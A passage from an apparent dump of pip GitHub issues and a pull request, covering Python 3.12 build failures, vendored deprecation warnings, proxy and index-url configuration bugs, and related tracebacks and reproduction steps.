### How to Reproduce

```
$ podman run --rm -ti python:3.12-rc /usr/bin/bash
root@7883ea1fb82f:/# pip --version
pip 23.2.1 from /usr/local/lib/python3.12/site-packages/pip (python 3.12)
root@7883ea1fb82f:/# python3.12 -m venv venv
root@7883ea1fb82f:/# . venv/bin/activate
(venv) root@7883ea1fb82f:/# pip list
Package Version
------- -------
pip     23.2.1
(venv) root@7883ea1fb82f:/# pip install 'numpy<1.26'
```

### Output

```
Collecting numpy<1.26
  Using cached numpy-1.25.2.tar.gz (10.8 MB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
ERROR: Exception:
Traceback (most recent call last):
  ...
  File "/tmp/pip-build-env-6hsu_m71/overlay/lib/python3.12/site-packages/setuptools/__init__.py", line 10, in <module>
    import distutils.core
ModuleNotFoundError: No module named 'distutils'
```

### How to workaround

```
(venv) root@7883ea1fb82f:/# pip list
Package Version
------- -------
pip     23.2.1
(venv) root@7883ea1fb82f:/# pip install setuptools
...
(venv) root@7883ea1fb82f:/# pip list
Package    Version
---------- -------
pip        23.2.1
setuptools 68.1.2

(venv) root@7883ea1fb82f:/# pip install 'numpy<1.26'
Collecting numpy<1.26
  Using cached numpy-1.25.2.tar.gz (10.8 MB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... error
  error: subprocess-exited-with-error
  
  × Getting requirements to build wheel did not run successfully.
  │ exit code: 1
  ╰─> [33 lines of output]
      Traceback (most recent call last):
        ...
        File "/tmp/pip-build-env-c_pka3l2/overlay/lib/python3.12/site-packages/setuptools/__init__.py", line 16, in <module>
          import setuptools.version
        File "/tmp/pip-build-env-c_pka3l2/overlay/lib/python3.12/site-packages/setuptools/version.py", line 1, in <module>
          import pkg_resources
        File "/tmp/pip-build-env-c_pka3l2/overlay/lib/python3.12/site-packages/pkg_resources/__init__.py", line 2172, in <module>
          register_finder(pkgutil.ImpImporter, find_on_path)
                          ^^^^^^^^^^^^^^^^^^^
      AttributeError: module 'pkgutil' has no attribute 'ImpImporter'. Did you mean: 'zipimporter'?
      [end of output]
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: hroncok
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12245: state: open
title: Validate platforms
body: Fixes #6369 
This pr adds two bits of functionality:

 **1. adds validation on user submitted platform tags**
As suggested in issue #6369, I attempted to put the call to the validation function in the common base class to `DownloadCommand` and `InstallCommand`, namely the `Command` class. This resulted in a multitude of test failures. As a result, the call to the function was added to each of the `DownloadCommand` and `InstallCommand` `run` methods. The functions that perform the validation are added to `cmdoptions.py` because this seemed like the most logical place to have them. You'll note that first a function named `validate_user_options` is called. This is because additional functionality (as discussed in the issue) will be called through this (specifically to check implementation and abi user options). Though the issue calls for an 'error' message, I attempted to add a `warning`. This proved to be problematic because none of the tests use standard option inputs and were not configured to accept `warnings`. Instead I use a simple `print` command with the message.

There is a second pr that will be either already up (or up soon) that adds validation for `--implementation` and `--python-version`.

Regarding testing. I added a test for this in the test_download.py file. I ran the entire tests directory with nox and all passed save for 13 errors (which were unrelated to the code in this PR and exist in the latest `main` branch). In other words, the code in this PR passes.


**2. extends platform help text to include suggestions for valid platform tags**
 I noticed that some other options (e.g. implementation and python_version) had help text that provided examples, but that the help text for platform did not. I went ahead and added some common examples.
user: MohsenAAkeel
issue_12243: state: open
title: Suppress deprecation warnings in vendored projects during normal operation
body: ### Description

Starting with pip 23.2, it emits a deprecation warning coming from the vendored copy of setuptools/pkg_resources.

I would like to request any warnings coming from those projects to be suppressed by default, in a normal runtime. They don't have value to the end-users, as they aren't at all actionable.

Using `python -Werror` is useful to proactively locate packages in the dependency tree that are going to cause problems shortly, and unrelated warnings make it harder to deal with the target ones.
Of course, I'd like this mode to propagate to the underlying build processes so this actually needs an env var.
To work around this problem, one could attempt to make the warning non-failing: [`PYTHONWARNINGS='error,once:pkg_resources is deprecated as an API.:DeprecationWarning:pip._internal.metadata.importlib._envs'`]. But still, this is rather annoying and probably won't be sustainable across different pip versions.

This seems to be one of the incarnations of https://github.com/pypa/pip/issues/11715#issuecomment-1501148524 but I'm raising this as a separate issue concerning a more generalized, systemic appoach to dealing with such situations wrt all the vendored projects not just one.

[`PYTHONWARNINGS='error,once:pkg_resources is deprecated as an API.:DeprecationWarning:pip._internal.metadata.importlib._envs'`]:
https://github.com/ansible/docsite/blob/a6f7e4f/.github/workflows/reusable-build-docsite.yaml#L24C13-L24C120

### Expected behavior

No warnings originating from any of the vendored packages. I suppose, they should be enabled in tests or when running something like `python -Xdev` but not in a normal pip run.

Maybe, `vendoring` should patch out such places on project updates. But this means not addressing said problems on the pip side + no possibility to catch problems proactively. So I was thinking that perhaps this should be done with a feature-toggle in places where the vendored projects are imported and called.

### pip version

23.2 and higher

### Python version

3.11 and higher

### OS

ubuntu-latest @ GHA

### How to Reproduce

I noticed that this warning can be reached through calling `pip install` (even without any arguments). Though, `--help` doesn't fail.
```console
$ python3.11 -m venv some-venv

$ PYTHONWARNINGS=error some-venv/bin/python -m pip install 'pip >= 23.2'
Collecting pip>=23.2
  Using cached pip-23.2.1-py3-none-any.whl (2.1 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 23.1.2
    Uninstalling pip-23.1.2:
      Successfully uninstalled pip-23.1.2
Successfully installed pip-23.2.1

$ PYTHONWARNINGS=error some-venv/bin/python -m pip install pip   
ERROR: Exception:
Traceback (most recent call last):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 180, in exc_logging_wrapper
    status = run_func(*args)
             ^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 248, in wrapper
    return func(self, options, args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/commands/install.py", line 324, in run
    session = self.get_default_session(options)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 98, in get_default_session
    self._session = self.enter_context(self._build_session(options))
                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 125, in _build_session
    session = PipSession(
              ^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 342, in __init__
    self.headers["User-Agent"] = user_agent()
                                 ^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 175, in user_agent
    setuptools_dist = get_default_environment().get_distribution("setuptools")
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 188, in get_distribution
    return next(matches, None)
           ^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 183, in <genexpr>
    matches = (
              ^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/base.py", line 612, in iter_all_distributions
    for dist in self._iter_distributions():
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 176, in _iter_distributions
    for dist in finder.find_eggs(location):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 144, in find_eggs
    yield from self._find_eggs_in_dir(location)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 111, in _find_eggs_in_dir
    from pip._vendor.pkg_resources import find_distributions
  File "some-venv/lib/python3.11/site-packages/pip/_vendor/pkg_resources/__init__.py", line 118, in <module>
    warnings.warn(
DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "some-venv/lib/python3.11/site-packages/pip/__main__.py", line 24, in <module>
    sys.exit(_main())
             ^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/main.py", line 79, in main
    return command.main(cmd_args)
           ^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 101, in main
    return self._main(args)
           ^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 236, in _main
    self.handle_pip_version_check(options)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 180, in handle_pip_version_check
    session = self._build_session(
              ^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 125, in _build_session
    session = PipSession(
              ^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 342, in __init__
    self.headers["User-Agent"] = user_agent()
                                 ^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 175, in user_agent
    setuptools_dist = get_default_environment().get_distribution("setuptools")
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 188, in get_distribution
    return next(matches, None)
           ^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 183, in <genexpr>
    matches = (
              ^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/base.py", line 612, in iter_all_distributions
    for dist in self._iter_distributions():
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 176, in _iter_distributions
    for dist in finder.find_eggs(location):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 144, in find_eggs
    yield from self._find_eggs_in_dir(location)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 111, in _find_eggs_in_dir
    from pip._vendor.pkg_resources import find_distributions
  File "some-venv/lib/python3.11/site-packages/pip/_vendor/pkg_resources/__init__.py", line 118, in <module>
    warnings.warn(
DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html

$ PYTHONWARNINGS='error,ignore:pkg_resources is deprecated as an API.:DeprecationWarning:pip._internal.metadata.importlib._envs' some-venv/bin/python -m pip install pip   
Requirement already satisfied: pip in ./some-venv/lib/python3.11/site-packages (23.2.1)


$ PYTHONWARNINGS=error some-venv/bin/python -m pip install              
ERROR: Exception:
Traceback (most recent call last):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 180, in exc_logging_wrapper
    status = run_func(*args)
             ^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 248, in wrapper
    return func(self, options, args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/commands/install.py", line 324, in run
    session = self.get_default_session(options)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 98, in get_default_session
    self._session = self.enter_context(self._build_session(options))
                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 125, in _build_session
    session = PipSession(
              ^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 342, in __init__
    self.headers["User-Agent"] = user_agent()
                                 ^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 175, in user_agent
    setuptools_dist = get_default_environment().get_distribution("setuptools")
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 188, in get_distribution
    return next(matches, None)
           ^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 183, in <genexpr>
    matches = (
              ^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/base.py", line 612, in iter_all_distributions
    for dist in self._iter_distributions():
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 176, in _iter_distributions
    for dist in finder.find_eggs(location):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 144, in find_eggs
    yield from self._find_eggs_in_dir(location)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 111, in _find_eggs_in_dir
    from pip._vendor.pkg_resources import find_distributions
  File "some-venv/lib/python3.11/site-packages/pip/_vendor/pkg_resources/__init__.py", line 118, in <module>
    warnings.warn(
DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "some-venv/lib/python3.11/site-packages/pip/__main__.py", line 24, in <module>
    sys.exit(_main())
             ^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/main.py", line 79, in main
    return command.main(cmd_args)
           ^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 101, in main
    return self._main(args)
           ^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 236, in _main
    self.handle_pip_version_check(options)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 180, in handle_pip_version_check
    session = self._build_session(
              ^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 125, in _build_session
    session = PipSession(
              ^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 342, in __init__
    self.headers["User-Agent"] = user_agent()
                                 ^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 175, in user_agent
    setuptools_dist = get_default_environment().get_distribution("setuptools")
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 188, in get_distribution
    return next(matches, None)
           ^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 183, in <genexpr>
    matches = (
              ^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/base.py", line 612, in iter_all_distributions
    for dist in self._iter_distributions():
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 176, in _iter_distributions
    for dist in finder.find_eggs(location):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 144, in find_eggs
    yield from self._find_eggs_in_dir(location)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 111, in _find_eggs_in_dir
    from pip._vendor.pkg_resources import find_distributions
  File "some-venv/lib/python3.11/site-packages/pip/_vendor/pkg_resources/__init__.py", line 118, in <module>
    warnings.warn(
DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html

$ PYTHONWARNINGS=error some-venv/bin/python -m pip         

Usage:   
  some-venv/bin/python -m pip <command> [options]

Commands:
  install                     Install packages.
  download                    Download packages.
  uninstall                   Uninstall packages.
  freeze                      Output installed packages in requirements format.
  inspect                     Inspect the python environment.
  list                        List installed packages.
  show                        Show information about installed packages.
  check                       Verify installed packages have compatible dependencies.
  config                      Manage local and global configuration.
  search                      Search PyPI for packages.
  cache                       Inspect and manage pip's wheel cache.
  index                       Inspect information available from package indexes.
  wheel                       Build wheels from your requirements.
  hash                        Compute hashes of package archives.
  completion                  A helper command used for command completion.
  debug                       Show information useful for debugging.
  help                        Show help for commands.

General Options:
  -h, --help                  Show help.
  --debug                     Let unhandled exceptions propagate outside the
                              main subroutine, instead of logging them to
                              stderr.
  --isolated                  Run pip in an isolated mode, ignoring
                              environment variables and user configuration.
  --require-virtualenv        Allow pip to only run in a virtual environment;
                              exit with an error otherwise.
  --python <python>           Run pip with the specified Python interpreter.
  -v, --verbose               Give more output. Option is additive, and can be
                              used up to 3 times.
  -V, --version               Show version and exit.
  -q, --quiet                 Give less output. Option is additive, and can be
                              used up to 3 times (corresponding to WARNING,
                              ERROR, and CRITICAL logging levels).
  --log <path>                Path to a verbose appending log.
  --no-input                  Disable prompting for input.
  --keyring-provider <keyring_provider>
                              Enable the credential lookup via the keyring
                              library if user input is allowed. Specify which
                              mechanism to use [disabled, import, subprocess].
                              (default: disabled)
  --proxy <proxy>             Specify a proxy in the form
                              scheme://[user:passwd@]proxy.server:port.
  --retries <retries>         Maximum number of retries each connection should
                              attempt (default 5 times).
  --timeout <sec>             Set the socket timeout (default 15 seconds).
  --exists-action <action>    Default action when a path already exists:
                              (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.
  --trusted-host <hostname>   Mark this host or host:port pair as trusted,
                              even though it does not have valid or any HTTPS.
  --cert <path>               Path to PEM-encoded CA certificate bundle. If
                              provided, overrides the default. See 'SSL
                              Certificate Verification' in pip documentation
                              for more information.
  --client-cert <path>        Path to SSL client certificate, a single file
                              containing the private key and the certificate
                              in PEM format.
  --cache-dir <dir>           Store the cache data in <dir>.
  --no-cache-dir              Disable the cache.
  --disable-pip-version-check
                              Don't periodically check PyPI to determine
                              whether a new version of pip is available for
                              download. Implied with --no-index.
  --no-color                  Suppress colored output.
  --no-python-version-warning
                              Silence deprecation warnings for upcoming
                              unsupported Pythons.
  --use-feature <feature>     Enable new functionality, that may be backward
                              incompatible.
  --use-deprecated <feature>  Enable deprecated functionality, that will be
                              removed in the future.
```

### Output

```python-traceback
ERROR: Exception:
Traceback (most recent call last):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 180, in exc_logging_wrapper
    status = run_func(*args)
             ^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 248, in wrapper
    return func(self, options, args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/commands/install.py", line 324, in run
    session = self.get_default_session(options)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 98, in get_default_session
    self._session = self.enter_context(self._build_session(options))
                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 125, in _build_session
    session = PipSession(
              ^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 342, in __init__
    self.headers["User-Agent"] = user_agent()
                                 ^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 175, in user_agent
    setuptools_dist = get_default_environment().get_distribution("setuptools")
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 188, in get_distribution
    return next(matches, None)
           ^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 183, in <genexpr>
    matches = (
              ^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/base.py", line 612, in iter_all_distributions
    for dist in self._iter_distributions():
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 176, in _iter_distributions
    for dist in finder.find_eggs(location):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 144, in find_eggs
    yield from self._find_eggs_in_dir(location)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 111, in _find_eggs_in_dir
    from pip._vendor.pkg_resources import find_distributions
  File "some-venv/lib/python3.11/site-packages/pip/_vendor/pkg_resources/__init__.py", line 118, in <module>
    warnings.warn(
DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "some-venv/lib/python3.11/site-packages/pip/__main__.py", line 24, in <module>
    sys.exit(_main())
             ^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/main.py", line 79, in main
    return command.main(cmd_args)
           ^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 101, in main
    return self._main(args)
           ^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 236, in _main
    self.handle_pip_version_check(options)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 180, in handle_pip_version_check
    session = self._build_session(
              ^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 125, in _build_session
    session = PipSession(
              ^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 342, in __init__
    self.headers["User-Agent"] = user_agent()
                                 ^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/network/session.py", line 175, in user_agent
    setuptools_dist = get_default_environment().get_distribution("setuptools")
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 188, in get_distribution
    return next(matches, None)
           ^^^^^^^^^^^^^^^^^^^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 183, in <genexpr>
    matches = (
              ^
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/base.py", line 612, in iter_all_distributions
    for dist in self._iter_distributions():
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 176, in _iter_distributions
    for dist in finder.find_eggs(location):
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 144, in find_eggs
    yield from self._find_eggs_in_dir(location)
  File "some-venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py", line 111, in _find_eggs_in_dir
    from pip._vendor.pkg_resources import find_distributions
  File "some-venv/lib/python3.11/site-packages/pip/_vendor/pkg_resources/__init__.py", line 118, in <module>
    warnings.warn(
DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: webknjaz
labels: type: bug: A confirmed bug or unintended behavior
kind: workaround: Is a workaround for a problem
project: setuptools: Related to setuptools
project: vendored dependency: Related to a vendored dependency
state: needs discussion: This needs some more discussion
S: needs triage: Issues/PRs that need to be triaged
UX: User experience related
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_12240: state: open
title:  Modules installed with pip don't work after Daedalus upgrade
body: ### Description

I recently upgraded to Devuan Daedalus from Chimaera -- which means I can't install python packages using pip. Therefore, I chose pipx.

I am aware that installation of python packages requires a different method as compared to `pip install <package>`. Therefore, I install new python packages using `pipx` which works well.

**Question:** The packages that have already been installed using `pip` don't work as they were working before. For example, I had installed `pdfCropMargins` using `pip` and have used it extensively before upgrading to Bookworm.

After the upgrade, I get the following error:

```bash
pdf-crop-margins -a 5 pgfmanual.pdf 
Traceback (most recent call last):
  File "/home/vrgovinda/.local/bin/pdf-crop-margins", line 5, in <module>
    from pdfCropMargins.pdfCropMargins import main
ModuleNotFoundError: No module named 'pdfCropMargins'
```

As per my understanding, I guess that `pipx` is now managing the python packages and is expecting the modules in some other location.

Am I right? If yes, how to resolve this issue?

If No, What is the reason for this error and how to resolve this issue?

Thanks in advance.


### Expected behavior

I expect the packages installed with `pip` to work normally as before, which is not happening.

Let those installed with `pipx` be also available simultaneously. That's okay.

But those which were already installed with `pip` should work even after Debian has changed ways about `pip`. 

### pip version

23.0.1

### Python version

3.11.2

### OS

GNU/Linux Distro: Devuan Daedalus

### How to Reproduce

1. Use a Python package which was installed earlier with `pip`. I have taken an example of 'pdfCropMargins'.
2. After upgrade to Daedalus, the packages installed with `pip` don't work, since the Python packages are now being externally managed. 
3. So I get an error `ModuleNotFoundError: No module named 'pdfCropMargins'`

### Output


```bash
pdf-crop-margins -a 5 pgfmanual.pdf 
Traceback (most recent call last):
  File "/home/vrgovinda/.local/bin/pdf-crop-margins", line 5, in <module>
    from pdfCropMargins.pdfCropMargins import main
ModuleNotFoundError: No module named 'pdfCropMargins'
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
```[tasklist]
### Tasks
```

user: vrgovinda
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12238: state: open
title: --proxy does not override global config
body: ### Description

I tried install some project requirements on windows on a machine that I require using a proxy. Using `pip install --proxy myproxy` I am able to install prcompiled wheels, but the installation of `redfish` failed during the `Installing build dependencies` step.

I have a config file in `%APPDATA%/pip/pip.ini` with the following content:

```ini
[global]
proxy = otherproxy
```

### Expected behavior

The `--proxy` flag should override the global configuration.

### pip version

23.2.1

### Python version

3.11

### OS

Windows 10 Enterprise

### How to Reproduce

1. Configure `%APPDATA%/pip/pip.ini` with otherproxy
2. run `pip install --proxy myproxy redfish`
3. Notice otherproxy being used for installing build dependencies

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: p-fruck
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12234: state: open
title: Better error messages when requirements are not met
body: ### What's the problem this feature will solve?

Not all packages support all platforms. It would be nice if `pip install`, when it finds that requirements are not met, it could list:

- what requirements it is searching with
- what it found to match against

### Describe the solution you'd like

When no match is found for a package installation, if a package *was* found, list what candidates are available. For example:

- if packages match the version, list what platforms are available
- if no packages are eligible for the version, suggest a Python version that is supported

### Alternative Solutions

Digging around to see what is mismatched. In the case just encountered, 32bit Windows is not supported by the package in question and discovering that the user grabbed a 32bit Python instead of a 64bit download took some guessing.

### Additional context

N/A

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mathstuf
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12233: state: open
title: --index-url in requirements file sometimes not respected / leaks to other files
body: ### Description

Reading docs for [_Referring to other requirements files_](https://pip.pypa.io/en/stable/reference/requirements-file-format/#referring-to-other-requirements-files) it looks like you can do this in a `requirements.txt`:

```
-r requirements-pypi.txt
-r requirements-other.txt
```

In `requirements-pypi.txt`:

```
--index-url https://pypi.org/simple/
parse==1.19.1
```

In `requirements-other.txt`

```
--index-url https://test.pypi.org/simple/
quux==0.1.2
```

[parse exists on PyPI](https://pypi.org/project/parse/) but [not on test](https://test.pypi.org/project/parse/)
[quux exists on test](https://test.pypi.org/project/parse/) but [not on PyPI](https://test.pypi.org/project/quux/)

I just use parse / quux / test pypi for a reproducible example here, in reality the other index is a private index for first-party code which we DON'T want to look on PyPI (whether the requirement exists there or not).

### Expected behavior

Expected behavior was for pip to resolve the requirements from each file in the corresponding index, i.e. requirements pinned within `requirements-pypi.txt` should be resolved at https://pypi.org/simple/ and the requirements pinned within `requirements-other.txt` should be resolved at https://test.pypi.org/simple/

### pip version

23.2.1

### Python version

3.11.4

### OS

Linux

### How to Reproduce

`pip install -r requirements.txt`

### Output

```
$ pip install -r requirements.txt
Looking in indexes: https://test.pypi.org/simple/
ERROR: Could not find a version that satisfies the requirement parse==1.19.1 (from versions: none)
ERROR: No matching distribution found for parse==1.19.1
```

If we flip the order of the two lines in `requirements.txt` it is the other way around:

```
$ pip install -r requirements.txt
Looking in indexes: https://pypi.org/simple/
ERROR: Could not find a version that satisfies the requirement quux==0.1.2 (from versions: none)
ERROR: No matching distribution found for quux==0.1.2
```

It looks like the --index-url is not global to the requirements file, but to the _entire pip call_. The last --index-url wins, but I'm not sure if that's reliable or just implementation detail.

I'd like for the result of `pip install -r requirements.txt` to be the same as installing each requirements file separately, rather than trying to merge them and "solve" them all together (in practice all the deps are pinned and req files installed with --no-deps, so there is no solving to do, but packages may be sourced from different indices).

Current workaround is using a carefully configured devpi-server so that we only need to specify a single --index-url, but it would be nice if pip could handle the multiple requirements files more smoothly. I don't want to use --extra-index-url after reading [this](https://github.com/pypa/pip/issues/8606).


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: wimglenn
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12231: state: open
title: Uninstall with bad RECORD file
body: ### Description

This issue is related to https://github.com/pypa/wheel/issues/558, where it seems that `wheel tags` creates RECORD files that includes directories. This causes some issues with `pip uninstall`, and variations with other options.

